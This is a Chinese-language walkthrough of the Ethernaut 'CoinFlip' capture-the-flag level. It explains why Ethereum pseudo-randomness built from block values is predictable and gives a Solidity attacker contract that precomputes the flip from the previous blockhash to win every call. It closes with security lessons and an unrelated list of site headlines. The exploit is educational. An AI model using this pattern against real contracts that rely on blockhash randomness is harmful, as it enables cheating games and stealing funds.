以太坊区块链是如何产生随机性的

以太坊如何产生“随机性”
以太坊区块链上没有真正的随机性,只有被认为“足够好”的随机生成器。
开发人员目前通过在以太坊中的散列独特性或难以篡改性的变量创建伪随机性。此类变量的示例包括transaction timestamp, sender address, block height 。
以太坊提供两种主要的加密散列函数,即sha-3和较新的keccak256,它们对这些输入变量的串联字符串进行散列。
最终生成的哈希被转换为一个大整数,然后由n修改。 这是为了得到一组离散的概率整数,在0到n的期望范围内。
请注意,在我们的ethernaut练习中,n = 2代表硬币翻转的两面。
这种在智能合约中导出伪随机性的方法很容容易受到攻击。如果知道输入的黑客可以结此猜出“随机”结果。
这就是解决coinflip级别的关键。 在这里,确定硬币翻转的输入变量对于您来说是公开的。
详情演练
我们来创建一个恶意智能合约,检查硬币翻转的结果。
只有当你正确猜到了结果时,你才能调用真实合约的翻转(bool _guess)函数。
1、在remix ide中,创建一个与coinflip.sol相关的恶意合同:
contract hackcoinflip {
coinflip public originalcontract = coinflip(
“your instance address”);
uint256 factor = 578960446186580977117854925043439539266349923
32820282019728792003956564819968;
function hackflip(bool _guess) public {
//todo
}
}
2、实现hackflip()函数,使用与原始智能合约相同的逻辑和输入变量来预测翻转结果。 既然你知道blockhash和block.number,那么你就能准确预测正确的_guess。
function hackflip(bool _guess) public {
// pre-deteremine the flip outcome
uint256 blockvalue = uint256(block.blockhash(block.number-1));
uint256 coinflip = blockvalue / factor;
bool side = coinflip == 1 ? true : false;
// if i guessed correctly, submit my guess
if (side == _guess) {
originalcontract.flip(_guess);
} else {
// if i guess incorrectly, submit the opposite
originalcontract.flip(!_guess);
}
}
3、调用你的hackflip()函数10次。当您做出正确的猜测时,原始智能合约的consecutivewins计数器应该逐步增加。
关键安全要点
1. 没有真的随机性。
2. 在计算智能合约中的“随机性”时(或者甚至从现有的随机数库继承)时要格外注意。 如果您使用随机性来确定比赛获胜者,请记住,对手可以轻松猜出随机结果并破解您的游戏!

第三季财报出炉 磁企营收哪家强 各磁企财报分析
雷军官宣小米将在下周一发布AX6000
IGBT基础知识、参数特性、驱动电路总结
消费电子版图再扩张 紫光展锐出击AR市场
农药残留检测仪的主要功能
以太坊区块链是如何产生随机性的
液体流量传感器的种类及应用介绍
英创信息技术CAN总线在工业领域的用途
物联网计量仪表ADW400 环保监测模块 远程用电监测分表计电
AMD 联手明导国际,共同加速嵌入式系统开放源代码Linux开发进程
彩电企业病急乱投医 频频押错宝导致市场越来越低迷
科技改变习惯 世界上第一款AI戒指问世
了解单片机串口相关的寄存器
利用INA117组成的负载电流测量放大器
网络监控摄像机有哪一种运行模式
永磁同步电动机与直流无刷电动机有何异同
iPhone8什么时候上市?双曲屏版或6月发布
燃料电池ECU的功能安全开发方法分析
人工智能怎样让我们的生活更安全
智慧交通对于城市的贡献是什么